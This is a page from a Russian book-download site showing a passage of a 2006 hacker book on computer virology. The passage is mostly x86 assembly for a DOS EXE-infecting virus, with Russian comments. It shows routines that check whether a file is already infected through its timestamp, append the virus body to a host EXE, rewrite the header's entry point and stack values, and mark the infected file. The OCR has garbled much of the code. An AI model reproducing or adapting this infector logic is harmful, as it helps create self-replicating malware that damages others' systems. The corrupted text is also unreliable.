Книги
чёрным по белому
Главное меню
Главная О нас Добавить материал Поиск по сайту Карта книг Карта сайта
Книги
Археология Архитектура Бизнес Биология Ветеринария Военная промышленность География Геология Гороскоп Дизайн Журналы Инженерия Информационные ресурсы Искусство История Компьютерная литература Криптология Кулинария Культура Лингвистика Математика Медицина Менеджмент Металлургия Минералогия Музыка Научная литература Нумизматика Образование Охота Педагогика Политика Промышленные производства Психология Путеводители Религия Рыбалка Садоводство Саморазвитие Семиотика Социология Спорт Столярное дело Строительство Техника Туризм Фантастика Физика Футурология Химия Художественная литература Экология Экономика Электроника Энергетика Этика Юриспруденция
Новые книги
Цуканов Б.И. "Время в психике человека" (Медицина)

Суворов С. "Танк Т-64. Первенец танков 2-го поколения " (Военная промышленность)

Нестеров В.А. "Основы проэктирования ракет класса воздух- воздух и авиационных катапульных установок для них" (Военная промышленность)

Фогль Б. "101 вопрос, который задала бы ваша кошка своему ветеринару если бы умела говорить" (Ветеринария)

Яблоков Н.П. "Криминалистика" (Юриспруденция)
Реклама

Азбука хакера 3. Компьютерная вирусология - Собейкис В.Г.

Собейкис В.Г. Азбука хакера 3. Компьютерная вирусология — М.: Майор, 2006. — 512 c.
ISBN 5-98551-013-1
Скачать (прямая ссылка): hakeriazbukahakera2006.djvu
Предыдущая << 1 .. 88 89 90 91 92 93 < 94 > 95 96 97 98 99 100 .. 123 >> Следующая

инфекции для заражения найденного файла.
SETUP_DATA: push cs pop ds
mov BYTE PTR [F1LE_FND],1 {устанавливаем этот флаг push es {готовимся
сохранить имя файла
pop ds
mov si.bx ;ds:si указывает на FCB
inc si {теперь на имя файла в FCB
push cs pop es
mov di,OFFSET FNAME ;es:di указывает на {буфер имени файла

ГЛАВА 7. Многоцелевые вирусы
mov сх,8 ;число байтов в имени файла F01: lodsb stosb
cmp al,20H je F02 loop FOI inc di F02:
mov BYTE PTR es:[di-1j,7
mov ax.'XE'
stosw
mov ax.'E'
stosw
ret
Функция определяет, инфицирован ли файл, найденный подпрограммой поиска.
Если он инфицирован, FILE_OK возвращается с установленным г.
FILE.OK:
mov ax,es:[bx+17H] {получаем штамп времени файла add ax,es:[bx+19H]
{добавляем к нему штамп даты and а1,00011111В {получаем поле секунды/дни
cmp al,31 ;их сумма должна равняться 31 ret ;если файл инфицирован
Эта подпрограмма перемещает вирус (данную программу) в конец ЕХЕ-файла.
Она копирует все, что имеется здесь и подстраивает заголовок ЕХЕ-файла.
Она также гарантирует, что вирус начнется на границе параграфов, и
добавляет столько байтов, сколько требуется для этого.
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
INFECT.FILE: push cs pop es push cs
pop ds ;теперь cs, ds и es указывают сюда
mov dx.OFFSET FNAME
mov ax,3002H ;открывавм файл с д оступом к ^пению/записи, используя д
ескриптор
int 21 h
jne IF1_
jmp OK END1 ;ошибка при открытии, установка ;с, выход без ракрытия файла
IF1_:
mov bx.ax ; помещаем индекс в bx и оставляем его в покое mov сх,1СН
.читаем 28 байт заголовка ЕХЕ-файла mov dx.OFFSET EXE_HDR ;в этом буфере
для проверки mov ah,3FH ;и модификации
int 21 h
jc IF2_ ;ошибка при чтении файла, выход
cmp WORD PTR [EXE_HDR],'ZM' -.проверка ЕХЕ-сигнатуры (MZ) jnz IF2_ ;если
нет, закрыть и выйти
cmp WORD PTR (EXE_HDR+26],0 ; проверка числа оверлеев jnz IF2_ ;не 0,
выход с установкой с cmp WORD PTR [EXE_HDR+-24],40H ггаблица перемещений
в офсете 40Н ;или больше? jne IF2_ ;да, это не DOS EXE, пропустить его
cmp WORD PTR [EXE_HDR+14H],OFFSET START EXE - OFFSET BBS ;смотрим,
первоначальный ip = первоначальному ip вируса?
jnz IF3_
IF2_: jmp OK_END IF3_:
ГЛАВА 7. Многоцелевые вирусы
mov ах,4202Н .поиск конца файла, чтобы определить размер хог сх.сх xor
dx.dx int 21 h
mov [FSIZE],ax сохраняем его здесь mov [FSIZE+2] ,dx
mov cx,WORD PTR [FSiZE+2] .подстраиваем длину файла к границе
mov dx.WORD PTR [FSIZE] '.параграфов
or dl.OFH
add dx,1
adc cx,0
mov WORD PTR [FSIZE+2],cx mov WORD PTR [FSIZE],dx
mov ах,4200Н устанавливаем указатель файла относительно начала int 21 h
;идем к концу файла + граница
mov dx,OFFSET BBS ;ds:dx = начало вируса
mov cx, OFFSET ENDCODE
sub cx.dx ;cx = байты для записи
mov ah,40H ;записываем тело вируса в файл
int 21 h
mov dx.WORD PTR [FSIZE] ;находим перемещения в коде mov cx.WORD PTR
[FSIZE+2] юригинальный конец файла add dx,OFFSET HOSTS -OFFSET BBS; +
офсет HOSTS adc cx,0 ;cx:dx = этому числу
mov ax,4200H устанавливаем указатель файла на 1-е перемещение int 21 h
mov dx,OFFSET EXE HDR+14;получаем правильные ss:sp,cs:ip жертвы mov cx,10
mov ah,40H ;записываем их в HOSTS/HOSTC int 21 h
389
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
хог сх.сх ;подстраиваем значения ЕХЕ-заголовка xor dx.dx
mov ах,4200Н устанавливаем указатель файла на начало файла int 21 h
mov ax.WORD PTR [FSIZE];расчет вирусного первоначального cs
mov dx.WORD PTR [FSIZE+2] ;=размер файла/16-размер
;заголовка(Рага)
mov сх,16
div cx ;dx:ax содержит размер файла/16
sub ax,WORD PTR [EXE_HDR+8];вычитаем размер ЕХЕ-заголовка
(в параграфах)
mov WORD PTR [EXE_HDR+22],ax сохраняем как первоначальный cs
mov WORD PTR [EXE_HDR+14],ax;сохраняем как первоначальный ss
mov WORD PTR [EXE_HDR+20],OFFSET START_EXE - OFFSET BBS;
сохраняем первоначальный ip
mov WORD PTR [EXE_HDR+16],OFFSET ENDCODE - OFFSET BBS + STACKSIZE
сохраняем первоначальный sp
mov dx.WORD PTR [FSIZE+2];расчет нового размера файла
;для заголовка
mov ах,WORD PTR [FSIZE] ;получаем оригинальный размер add ах,OFFSET
ENDCODE - OFFSET BBS + 200И {добавляем размер {вируса +1 параграф
adc dx.O
mov сх,200Н ;делим на размер параграфов
div сх ;ах=параграфов, dx=pa3Mep последнего параграфа
mov WORD PTR [EXE_HDR+4],ax {сохраняем параграфы здесь
mov WORD PTR [EXE_HDR+2],dx {размер последнего параграфа здесь
mov сх, 1СН {сохраняем 1СН байтов заголовка
mov dx,OFFSET EXE_HDR {в начале файла
mov ah,40H
int 21 h
ОПЛ
ГЛАВА 7. Многоцелевые вирусы
OK_END:
mov ах,5700Н ; получаем штамп времени/даты файла
int 21 h
and cl, 11100000В ;обнуляем время секунд add cl,31 ;подстраиваем к 31
mov al.dl
and al,00011111B ;получаем дни
sub cl.al ;k 31 добавляем al+cl 1 -x 5 битов
mov ax,5701H ;устанавливаем новый штамп
int 21 h
mov ah,3EH ;закрываем файл
int 21 h
OK_END1:ret ;инфекция завершена!
Модуль MP_EXEFILE.ASM
EXEFILE.ASM используется вместе с MPOLICE.ASM. STACKSIZE EQU 400H.
Это стартовый код для ЕХЕ-файла. Он подстраивает сегменты, чтобы можно
было вызывать все другие подпрограммы в вирусе. Далее, он пытается
Предыдущая << 1 .. 88 89 90 91 92 93 < 94 > 95 96 97 98 99 100 .. 123 >> Следующая